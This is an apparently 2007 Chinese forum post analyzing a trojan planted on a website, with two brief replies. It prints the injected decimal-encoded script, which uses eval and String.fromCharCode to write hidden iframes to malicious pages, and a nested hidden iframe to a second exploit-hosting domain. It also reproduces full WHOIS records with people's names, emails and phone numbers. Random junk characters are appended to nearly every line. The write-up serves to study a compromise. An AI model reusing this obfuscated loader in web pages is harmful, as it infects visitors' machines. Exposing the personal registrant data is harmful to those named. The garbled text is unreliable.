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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, IMjnj|Fj  
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http://www.areway.cn/?p=175 !CROc}  
7=t4;8|j;  
rl9YB %P  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: DPJ#Y -0  
          [Z|R-{"  
<script>t=’60,105,102,114,97,109,101, V2cLwQ'0  
32,115,114,99,61,104,116,116,112,58,47,47, s)#FqB8  
102,114,101,101,46,117,45,117,117,117,46,99, &IM;Yl  
110,47,101,114,114,111,114,46,104,116,109, (Bd8@}\u_  
32,119,105,100,116,104,61,49,48,48,32,104, mc;Z#"kf  
101,105,103,104,116,61,48,62,60,47,105,102, - *!R  
114,97,109,101,62′; Tm5]M$)  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> 9D:p~_"g  
                                                                                                  }<o.VY&;.  
<script>t=’60,105,102,114,97,109,101,32,115, [k.|iCD  
114,99,61,104,116,116,112,58,47,47,102,114, S,Boutd  
101,101,46,117,45,117,117,117,46,99,110,47, \5 IB/ *  
101,114,114,111,114,46,104,116,109,32,119, Yjv}@i"  
105,100,116,104,61,49,48,48,32,104,101,105, )y(pd  
103,104,116,61,48,62,60,47,105,102,114,97, W F<`CQg[  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); 40N8?kQ}?  
document.write(t);</script> 5BCXI8Ox9x  
                                                                                                  hex:e2x  
<html xmlns=” yf+M  
http://www.w3.org/1999/xhtml .`& ($W  
“> V*rAZ0  
<head> Cfu]umZLn  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> VS<E?JnbFV  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> Z9mY*}:U~  
<title>首页 - 爱生活家庭网 6wx;grt'Z  
                                                                                                                                                    .{x-A{l  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 Ub*Gv(Pg  
转换字符串后的大概内容是(谁点击后果自付): WY#A9i5Ge  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… L6Ykv/V  
                                                                                                                                  NS @j`6/U  
查询玉米u-uuu.cn的详细信息: -;cZW.<  
Domain Name: u-uuu.cn C1^=se  
ROID: 20070901s10001s64972306-cn "5u*C#T2$  
Domain Status: ok Enn7p9&  
Registrant Organization: 王雷 IlJ6&9  
Registrant Name: 王雷 .}S9C]d:a  
Administrative Email: czlovexs@126.com = ;#?CAa:  
Sponsoring Registrar: 北京万网志成科技有限公司 DVt;I$  
Name Server:ns.yovole.com SuU,SE'TX  
Name Server:ns1.yovole.com n=l>d#}$%T  
Registration Date: 2007-09-01 17:54 J`a$"G B.  
Expiration Date: 2008-09-01 17:54 %N_5p'W  
最后PING了一下地址 都没有什么…. [ !/u,  
                                                                                                *,X;4?:,  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. jIwz G+)$P  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> 0P^RciC f  
<script language=”javascript” src=” ?Z= %I$i  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script 7J,j  
> I}Uj"m`>  
这个玉米应该有可能是木马作者的: FjqoO.  
foafau.info的详细信息: -jdS8n4  
Access to INFO WHOIS information is provided to assist persons in L\}o(P(  
determining the contents of a domain name registration record in the .'JO7of  
Afilias registry database. The data in this record is provided by _Q,`Qn@|BD  
Afilias Limited for informational purposes only, and Afilias does not fqA\Rp6Z  
guarantee its accuracy.  This service is intended only for query-based j'FSd*5m  
access. You agree that you will use this data only for lawful purposes ;rYL\`6L  
and that, under no circumstances will you use this data to: (a) allow, 1=gE ,k5H  
enable, or otherwise support the transmission by e-mail, telephone, or <7R\ #  
facsimile of mass unsolicited, commercial advertising or solicitations A ><  
to entities other than the data recipient’s own existing customers; or u8L%R[#o  
(b) enable high volume, automated, electronic processes that send P2pdXNV  
queries or data to the systems of Registry Operator, a Registrar, or G#-t&gO3  
Afilias except as reasonably necessary to register domain names or }Tf~)x  
modify existing registrations. All rights reserved. Afilias reserves A@xa$!4}  
the right to modify these terms at any time. By submitting this query, ;`',M6g  
you agree to abide by this policy. <dl:';@a-  
Domain ID:D22418703-LRMS 6r{NW9y'  
Domain Name:FOAFAU.INFO 42E]&=Cet  
Created On:20-Nov-2007 16:05:42 UTC lJ;7sgQ#  
Last Updated On:20-Nov-2007 16:05:44 UTC ste0:.*qb  
Expiration Date:20-Nov-2008 16:05:42 UTC Jt5\  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) <VI.A" Qk~  
Status:CLIENT DELETE PROHIBITED p A7&  
Status:CLIENT RENEW PROHIBITED UIgs/  
Status:CLIENT TRANSFER PROHIBITED T#kPn#|  
Status:CLIENT UPDATE PROHIBITED 0w9)#e+JS  
Status:TRANSFER PROHIBITED TELN4*  
Registrant ID:GODA-040110615 <5(P4cm9  
Registrant Name:liu hong _0dm?=  
Registrant Organization: / r6^]grg  
Registrant Street1:beijing #&<>|m  
Registrant Street2: W5 ^eCYHoi  
Registrant Street3: r:0F("},  
Registrant City:beijing /ap3>xkt  
Registrant State/Province: ){^o"A?-:  
Registrant Postal Code:100000 KGb:NQ=O6i  
Registrant Country:CN .Qk T-12  
Registrant Phone:+86.860108888777 "j-Z<F]]  
Registrant Phone Ext.: y(/"DUx  
Registrant FAX: Kab"r_'  
Registrant FAX Ext.: Qc1NLU9:  
Registrant Email:bbbshiji@163.com KSkT6_<  
Admin ID:GODA-240110615 oS3'q\  
Admin Name:liu hong 1) 7n (  
Admin Organization: vOIK6-   
Admin Street1:beijing Ahl-EVIr<  
Admin Street2: 4.Luy  
Admin Street3: >dO1)  
Admin City:beijing R5OP=Q8  
Admin State/Province: }2c)UQD8  
Admin Postal Code:100000 WjLy7&  
Admin Country:CN $Y'}wB{pc  
Admin Phone:+86.860108888777 F6XrJ?JM  
Admin Phone Ext.: [Z~h!}  
Admin FAX: Q(v*I&k  
Admin FAX Ext.: K|[p4*6  
Admin Email:bbbshiji@163.com D>tex/Of3  
Billing ID:GODA-340110615 "LZQ1P*ef$  
Billing Name:liu hong Bv-|#sdxm  
Billing Organization: %S*<2F9  
Billing Street1:beijing +I~`Ob  
Billing Street2: xE>H:YPm  
Billing Street3: ^#-d^ )f;  
Billing City:beijing 2tPW1"M.n  
Billing State/Province: ~4gOv  
Billing Postal Code:100000 *iLlBE  
Billing Country:CN Z*uv~0a>9Q  
Billing Phone:+86.860108888777 O_=2{k~s0  
Billing Phone Ext.: K9-;-{qb  
Billing FAX: /`6Y-8e2  
Billing FAX Ext.: u NmbR8Mx  
Billing Email:bbbshiji@163.com xib?XzxGo  
Tech ID:GODA-140110615 !@>_5p>q*  
Tech Name:liu hong b0X<)1O  
Tech Organization: b;Nm$`2  
Tech Street1:beijing E3..$x-/  
Tech Street2: M9[52D!{  
Tech Street3: 7Yv1et |  
Tech City:beijing rgq~lZ.U4K  
Tech State/Province: v=m!$~  
Tech Postal Code:100000 s"OP[YEke/  
Tech Country:CN 9mA6nmp  
Tech Phone:+86.860108888777 jGm`Qg{<  
Tech Phone Ext.: ky4 ;7RK  
Tech FAX: HKB?G~  
Tech FAX Ext.: q|7i6jq\*R  
Tech Email:bbbshiji@163.com P"-*'q,9  
Name Server:NS27.DOMAINCONTROL.COM ~l {*XM  
Name Server:NS28.DOMAINCONTROL.COM RBOb/.$  
Name Server: pg<m0g@W*;  
Name Server: GK6/S_l%D+  
Name Server: {*yFTP"93  
Name Server: hHA!.u4&  
Name Server: 4Fu:ov ]M  
Name Server:  6chcpP0  
Name Server: h2S!<  
Name Server: TA4>12C6  
Name Server: Y5mQY5u|  
Name Server: jpwR\"UJ  
Name Server: UTWchh  
                                                                                                          Tumv0=q4wd  
接着下载每个文件里面的代码: ]S  
一步一步看.. gm^j8  B  
6DkFIkS  
"FD`1  
\p4>onGI  
=Ff _)k  
ZYS`M?Au  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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简单生活
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别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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